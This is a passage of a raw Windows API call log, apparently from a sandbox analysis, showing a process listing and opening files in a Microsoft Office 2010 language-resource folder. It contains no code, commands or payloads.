lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9744d100, ftCreationTime.dwHighDateTime=0x1c7e3af, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9744d100, ftLastWriteTime.dwHighDateTime=0x1c7e3af, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.PPT", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51dd6c00, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x51dd6c00, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.XLS", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f1aa00, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45f1aa00, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.DOC", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9744d100, ftCreationTime.dwHighDateTime=0x1c7e3af, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9744d100, ftLastWriteTime.dwHighDateTime=0x1c7e3af, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.PPT", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d18b800, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d18b800, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.XLS", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e7da00, ftCreationTime.dwHighDateTime=0x1c5c981, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99e7da00, ftLastWriteTime.dwHighDateTime=0x1c5c981, nFileSizeHigh=0x0, nFileSizeLow=0x4f777, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHKEY.DAT", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0x1f3978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLEX.DAT", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0xcd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLTS.DAT", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0xd18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHPHN.DAT", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b190700, ftCreationTime.dwHighDateTime=0x1c5c981, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b190700, ftLastWriteTime.dwHighDateTime=0x1c5c981, nFileSizeHigh=0x0, nFileSizeLow=0xa03a47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHSRN.DAT", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe236cf00, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe236cf00, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x6a8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x10980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x41b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf925f00, ftCreationTime.dwHighDateTime=0x1c92dac, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf925f00, ftLastWriteTime.dwHighDateTime=0x1c92dac, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCOLOR.SCM", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBFTSCM", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87ce900, ftCreationTime.dwHighDateTime=0x1ca9b87, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc87ce900, ftLastWriteTime.dwHighDateTime=0x1ca9b87, nFileSizeHigh=0x0, nFileSizeLow=0x29d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9324cb00, ftCreationTime.dwHighDateTime=0x1ca9b88, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9324cb00, ftLastWriteTime.dwHighDateTime=0x1ca9b88, nFileSizeHigh=0x0, nFileSizeLow=0x2a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x14760, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRYINT32.DLL", cAlternateFileName="")) returned 1 [0069.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickStyles", cAlternateFileName="")) returned 1 [0069.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x39aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="")) returned 1 [0069.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ed7300, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63ed7300, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x482d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Review.xsn", cAlternateFileName="")) returned 1 [0069.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50d55500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROSE.CSS", cAlternateFileName="")) returned 1 [0069.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1d3a600, ftCreationTime.dwHighDateTime=0x1be1dd7, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1d3a600, ftLastWriteTime.dwHighDateTime=0x1be1dd7, nFileSizeHigh=0x0, nFileSizeLow=0xc06d, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPLBRF35.CHM", cAlternateFileName="")) returned 1 [0069.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50d55500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xbd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.VSL", cAlternateFileName="")) returned 1 [0069.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9271b400, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9271b400, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x61204, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG.HXS", cAlternateFileName="")) returned 1 [0069.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_COL.HXC", cAlternateFileName="")) returned 1 [0069.418] GetLastError () returned 0x12 [0069.418] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.418] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.418] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.426] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.426] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x106dbc0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x106dbc0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.426] NtClose (Handle=0x18c) returned 0x0 [0069.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.426] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0069.426] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.426] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0069.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1063ed8 [0069.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e7f8 [0069.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1063fe0 [0069.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.427] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 0 [0069.427] GetLastError () returned 0x12 [0069.427] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.427] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.427] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.427] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0069.427] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 0 [0069.427] GetLastError () returned 0x12 [0069.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.427] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1063ed8) returned 1 [0069.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb09b400, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb09b400, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALEVENT.VRD", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERTINTL.DLL", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49538400, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49538400, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVWINTL.DLL", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8990, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAXRES.DLL", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, 